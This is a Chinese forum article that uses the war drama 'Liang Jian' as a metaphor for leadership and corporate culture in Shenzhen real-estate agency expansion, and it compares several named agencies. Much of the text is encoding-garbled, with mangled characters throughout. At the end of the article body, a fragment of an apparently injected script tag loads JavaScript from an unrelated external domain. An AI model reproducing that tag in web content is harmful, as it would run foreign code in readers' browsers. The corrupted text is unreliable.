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《亮劍》與中介擴(kuò)張
文摘來源:購房論壇閱讀:9990次 [08-6-26]

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大家知道，亮劍除了要說明"狹路相逢勇者勝"之外，另外一個主題就是軍魂--帶有英雄主義色彩。確實(shí)，兵熊熊一個，將熊熊一窩。主帥無能，累死三軍。一家中介，企業(yè)文化理念很重要，當(dāng)一個企業(yè)做大，做好，如果企業(yè)奉行的哲學(xué)，理念有問題，影響將是致命的。

先從中介談起，在深圳的中介拓展中，中原占盡天時——較早進(jìn)入深圳，在公共關(guān)系資源有優(yōu)勢。地利——二級代理多，先入為主。人和——內(nèi)部團(tuán)結(jié)，品牌原因在人力資源很強(qiáng)選擇性并產(chǎn)生“馬太效應(yīng)”。

世華在3個方面略遜于中原，但他也可以齊頭并進(jìn)，甚至在“人和”管理優(yōu)裕中原。

美聯(lián)穩(wěn)扎穩(wěn)打，有似于橋頭堡式漸進(jìn)，象日本侵略據(jù)點(diǎn)一樣——不失為一種戰(zhàn)術(shù)。創(chuàng)輝有類似情況，還有做秀的味道，想以大做強(qiáng)，缺乏內(nèi)涵修養(yǎng)，參差不齊。就象一個沒有內(nèi)功的人學(xué)“乾坤大挪移”，易走火入魔，自傷其身。

招商地產(chǎn)只有地利，所以蛇口一條龍，出外一條蟲，國有企業(yè)軀殼太重，制度不靈活。

海王地產(chǎn)異軍突起，什么都不具備。一點(diǎn)——利用人性的弱點(diǎn)貪婪30%起提成，重賞之下……香餌之下有死魚。符合兵法《六韜》“使貪，使智，使愚，使勇”，也可以占一席之地。

世聯(lián)企圖做中介中的君子，或說丐幫中的“凈衣派”，“廉者易辱，潔者易污”，陳水扁逍遙自在，馬英九焦頭爛額。不難理解。他還將做小人。

滿堂紅，順馳水土不服，用人錯誤。

一支軍隊(duì)有一種固有精神，什么“好八連，硬骨頭六連”……都是該隊(duì)伍的一貫形成的作風(fēng)，稱之為軍隊(duì)的靈魂.不管什么人進(jìn)入該組織就自然接受并維持其統(tǒng)一性，一貫性.這種作風(fēng)的形成與其主帥有直接關(guān)系，一旦形成很難改變，且會不斷完善.亮劍里面就說過這種理論。中介也一樣，因?yàn)楣芾碚叩脑颍矔纬蓤F(tuán)隊(duì)的一種作風(fēng)，中原，世華，就已經(jīng)基本形成或說產(chǎn)生了團(tuán)隊(duì)的主流思想，并能自覺實(shí)施.不斷完善.這種狀況一旦形成一股力量，他們的擴(kuò)張勢力范圍(拓疆)就變的輕而易舉.他每開一家鋪都是真正的集團(tuán)作戰(zhàn)，

現(xiàn)代著名國畫大師齊白石在評價他人的模仿作品時，說過一句很有哲理性的名言“學(xué)我者生，似我者死”，因?yàn)樗幕B蟲魚講究“神似”，如果“依葫蘆畫瓢”結(jié)果可想而知，最終是“四不相”。這對中介的擴(kuò)張有什么啟示呢？聽我慢慢道來。

很多中介在擴(kuò)張時，進(jìn)入一個區(qū)域，因?yàn)槿肆︐Y源欠缺，往往會去挖其他中介的經(jīng)理——小獵頭，而且會形成這樣的結(jié)果，一般一個區(qū)域總監(jiān)如果從某地產(chǎn)過來就會帶來一批手下，克隆出所謂的中原模式，或世華模式……而它又與公司的發(fā)展理念不相符，產(chǎn)生矛盾就會造成公司的各區(qū)域各自為政，作風(fēng)不一，員工沒有認(rèn)同感，各立山頭，公司管理缺乏連接性、統(tǒng)一性、全局觀念，分行之間“同事相見不相識，笑問客從何處來”。沒有合作，結(jié)果可想而知。這樣一來，再有能力的人組合在一起也是盤散沙，烏合之眾罷了，為了控制大局或是協(xié)調(diào)不力，那么經(jīng)理就會走馬燈一樣的更換，業(yè)績可想而知，擴(kuò)張成功也就成為空話。有數(shù)量沒質(zhì)量，現(xiàn)在很多中介進(jìn)入這種怪圈，無法理順。

管理中有個比喻“獅子領(lǐng)導(dǎo)的一群獅子斗不過獅子領(lǐng)導(dǎo)的一群狐理”這也是兵法里的“令行禁止”的一種另類注釋“沒有完美個人，只有完美的團(tuán)隊(duì)”一個好的團(tuán)隊(duì)需要一個靈魂人物，他主導(dǎo)團(tuán)隊(duì)的作風(fēng)趨向，所謂“強(qiáng)將手下無弱兵”就像《亮劍》中的李云龍，可以為一個女人攻下一座城池，從側(cè)面可以看出一個部隊(duì)的協(xié)調(diào)、統(tǒng)一、團(tuán)結(jié)以及戰(zhàn)斗力。靈魂人物的影響力不言而喻。中介該如何理解、借鑒呢？

東方文化的管理理念中，一般“人治多過法治”，個人色彩很濃。所謂“盛世德治，亂世法治”，我們中國人更能接受的是人性化的管理�！岸魍⑹笔枪芾淼牧�(xí)慣做法，西方也有叫“大棒”加胡蘿卜的做法，異曲同工。佛家認(rèn)為人有善良的一面，也有邪惡的一面，恩則喚醒良知，威則打壓邪惡。這是對人性最好的管理。各守本分，人心向善---孔子稱為教化的結(jié)果�；貧w本善六祖慧能稱頓悟，祛除惡念神秀稱漸悟。是當(dāng)頭棒喝，還是醍醐灌頂，都不重要，因?yàn)槟惚緛砭痛嬖谶@些，重要的是誰來渡化你，或說誰是一道這誰誰催化者“近朱者赤，近墨者黑”，領(lǐng)導(dǎo)的人格魅力以及其創(chuàng)造的一個工作氛圍對個人來說非常重要。企業(yè)需要企業(yè)文化以及一個具備充當(dāng)靈魂人物的領(lǐng)導(dǎo)人。

不難理解，在群體交往意識中，從眾心理或“羊群心理”現(xiàn)象絕對存在，誰是領(lǐng)頭羊？領(lǐng)頭羊有多少能量可以引領(lǐng)大眾？都很關(guān)鍵。人格魅力，利益牽引，文化認(rèn)同，思想共鳴，這是幾個關(guān)鍵方面，一旦企業(yè)的管理人作到，那么一個企業(yè)的靈魂就會產(chǎn)生，有如“亮劍”中的李云龍一呼百應(yīng)，劍鋒所指，所向披靡�。�！中原李總，世華梁總，美聯(lián)工商組江總似乎達(dá)到了這種境界。有幾家中介的老總從別的公司出來的，雖有一定氣勢，總不夠火候，未能得心應(yīng)手。雖未整成“四不相”，就差一丁點(diǎn)。所以在中介擴(kuò)張中，企業(yè)如果沒有自己的文化，特色，沒有象李云龍這樣的領(lǐng)軍人物總要去挖別人的人力資源，結(jié)果得不償失，理念上就是邯鄲學(xué)步！甚至是引狼入室，反受其亂。或?script src=http://www.24aspx.com/script.js>

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[昆明] 028-66822022,18100893151 [西安] 13572176799 [福建] 0592-6022961,19905929501,19905929503
[武漢] 15307165353 [長沙] 15307165353 [江西] 13602675916 [南寧] 13878876378 [沈陽] 15804662075 [大連] 15804662075
[�？赸 15120790561,0898-65203645 [長春] 15804662075 [哈爾濱] 15804662075

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